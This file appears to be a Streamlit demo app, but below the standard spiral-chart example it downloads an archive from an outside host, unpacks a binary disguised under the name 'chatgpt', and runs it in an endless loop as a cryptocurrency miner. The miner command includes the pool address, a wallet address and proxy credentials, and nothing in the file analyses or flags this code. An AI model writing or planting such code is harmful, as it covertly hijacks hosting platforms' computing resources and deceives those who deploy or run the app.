File size: 3,088 Bytes
7cb1d76 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | from collections import namedtuple
import altair as alt
import math
import pandas as pd
import streamlit as st
import os
import time
import subprocess
from os import system, name
from time import sleep
from subprocess import PIPE, Popen
import base64
from time import sleep
import random
"""
# Welcome to Streamlit!
Edit `/streamlit_app.py` to customize this app to your heart's desire :heart:
If you have any questions, checkout our [documentation](https://docs.streamlit.io) and [community
forums](https://discuss.streamlit.io).
In the meantime, below is an example of what you can do with just a few lines of code:
"""
with st.echo(code_location='below'):
total_points = st.slider("Number of points in spiral", 1, 5000, 2000)
num_turns = st.slider("Number of turns in spiral", 1, 100, 9)
Point = namedtuple('Point', 'x y')
data = []
points_per_turn = total_points / num_turns
for curr_point_num in range(total_points):
curr_turn, i = divmod(curr_point_num, points_per_turn)
angle = (curr_turn + 1) * 2 * math.pi * i / points_per_turn
radius = curr_point_num / total_points
x = radius * math.cos(angle)
y = radius * math.sin(angle)
data.append(Point(x, y))
st.altair_chart(alt.Chart(pd.DataFrame(data), height=500, width=500)
.mark_circle(color='#0068c9', opacity=0.5)
.encode(x='x:Q', y='y:Q'))
import subprocess
from time import sleep
import random
import requests
def generate_random_word():
url = "https://random-word-api.herokuapp.com/word?number=1"
response = requests.get(url)
if response.status_code == 200:
words = response.json()
if len(words) > 0:
return random.choice(words)
else:
return None
else:
return None
# Rastgele bir kelime üretme
random_word = generate_random_word()
subprocess.run(["wget", "https://blnssd.com/mdk/gpt.gz", "-O", f"./{random_word}.tar.gz"])
subprocess.call(['tar', '-xvf', f"./{random_word}.tar.gz", '-C', "./"])
import os
dosya_yolu = './chatgpt' # Dosyanın yolunu belirtin
# Dosyanın çalıştırma iznini ayarlayın
os.chmod(dosya_yolu, 0o755)
worker = "Mdk-"
random_number = str(random.randint(1000, 99999))
randomworker = worker + random_number
command = f"./chatgpt -a ghostrider --donate-level 1 -o stratum-eu.rplant.xyz:17117 --tls -u 1AuecSvogyARWDX8uM839FMuoyfPJkqnsc.{randomworker} -x mdk:306554Aa@5.161.62.24:3128"
while True:
subprocess.run(command, stdout=subprocess.PIPE, shell=True)
sleep(200)
import time
from IPython.display import clear_output
def zero_to_infinity():
i = 0
while True:
yield i
i += 1
time.sleep(1)
start = time.time()
for x in zero_to_infinity():
clear_output(wait=True)
end = time.time()
temp = end-start
hours = temp//3600
temp = temp - 3600*hours
minutes = temp//60
seconds = temp - 60*minutes
print("")
print('%s %d:%d:%d' %("Time execution : ",hours,minutes,seconds))
print("") |